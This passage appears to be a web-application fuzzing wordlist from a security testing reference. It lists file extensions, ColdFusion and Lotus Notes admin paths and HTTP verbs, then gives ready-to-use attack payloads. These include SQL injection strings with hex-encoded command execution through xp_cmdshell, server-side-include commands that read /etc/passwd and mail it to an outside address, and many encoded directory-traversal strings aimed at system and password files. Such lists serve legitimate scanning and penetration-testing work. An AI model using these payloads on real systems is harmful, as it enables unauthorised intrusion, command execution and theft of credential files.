.omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> 